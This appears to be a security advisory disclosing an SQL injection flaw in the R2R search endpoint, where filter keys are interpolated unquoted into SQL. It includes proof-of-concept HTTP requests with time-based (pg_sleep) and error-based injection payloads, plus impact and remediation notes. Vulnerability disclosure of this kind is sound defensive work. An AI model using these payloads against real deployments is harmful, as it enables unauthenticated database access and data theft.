[Security] SQL Injection via Unparameterized Filter Keys in Search Endpoint
SQL Injection via Unparameterized Filter Keys in Search Endpoint
Package: SciPhi-AI/R2R
Tested Versions: R2R 3.6.6 (pyproject.toml), Git main at 9c5a94d, Docker image sciphiai/r2r:latest (default config)
Affected Files
py/core/providers/database/filters.py—_build_metadata_operator_condition()(filter key interpolation)py/core/providers/database/chunks.py—full_text_search()(injection sink)py/core/main/api/v3/retrieval_router.py—POST /v3/retrieval/search(entry point)py/r2r/r2r.toml—require_authentication = false(default)
Root Cause
_build_metadata_operator_condition() constructs JSONB path accessors by interpolating the client-supplied filter key directly into a SQL string literal:
quoted_key = f"'{path_parts[0]}'"
json_accessor_text = f"{json_column} ->> {quoted_key}"
# produces: metadata ->> '<attacker-key>'Filter values are bound as positional parameters ($1, $2, …); filter keys are not. A single quote in the key terminates the SQL string literal and allows injection into the WHERE clause assembled by full_text_search. On the default deployment require_authentication = false maps requests with no Authorization header to the built-in superuser, so no credential is required.
PoC
Control (no injection, ~30 ms):
POST /v3/retrieval/search HTTP/1.1
Host: 127.0.0.1:7272
Content-Type: application/json
{
"query": "audit",
"search_settings": {
"use_semantic_search": false,
"use_hybrid_search": false,
"use_fulltext_search": true,
"graph_settings": { "enabled": false },
"filters": { "nope": "nope" }
}
}Time-based injection (key contains pg_sleep):
POST /v3/retrieval/search HTTP/1.1
Host: 127.0.0.1:7272
Content-Type: application/json
{
"query": "audit",
"search_settings": {
"use_semantic_search": false,
"use_hybrid_search": false,
"use_fulltext_search": true,
"graph_settings": { "enabled": false },
"filters": {
"x' IS NOT NULL OR (SELECT pg_sleep(5)) IS NULL OR 'a": "b"
}
}
}Server renders:
WHERE (fts @@ websearch_to_tsquery('english', $1)
AND metadata ->> 'x' IS NOT NULL)
OR (SELECT pg_sleep(5)) IS NULL
OR ('a' = $1)Actual response time: ~5.08 s (Burp: 6,004 ms). HTTP 200.
Error-based confirmation (no table rows required):
{ "filters": { "x' OR TRUE OR 'a": "b" } }Response: HTTP 500, "argument of AND must be type boolean, not type text" — injected OR TRUE is parsed as SQL.
Impact
An unauthenticated attacker can inject arbitrary SQL predicates into the WHERE clause of the chunks search query, executing as the R2R PostgreSQL role (default compose: superuser postgres). Time-based and boolean-based data exfiltration from the r2r_default.chunks table is confirmed. Stacked queries are blocked by asyncpg prepared statements, limiting the sink to WHERE-clause predicates. When authentication is enabled, an authenticated user retains the same injection path; tenant constraints are AND-wrapped but the metadata key path remains injectable.
Suggested Remediation
Do not interpolate filter keys into SQL string literals. Bind JSON path segments as parameters, or allowlist path segments against [A-Za-z0-9_]+ and use quote_ident or to_jsonb operators instead of raw string literals. Escaping single quotes (' to '') alone is not sufficient. Set require_authentication = true as the default and do not map anonymous requests to the superuser account.
Source: SciPhi-AI/R2R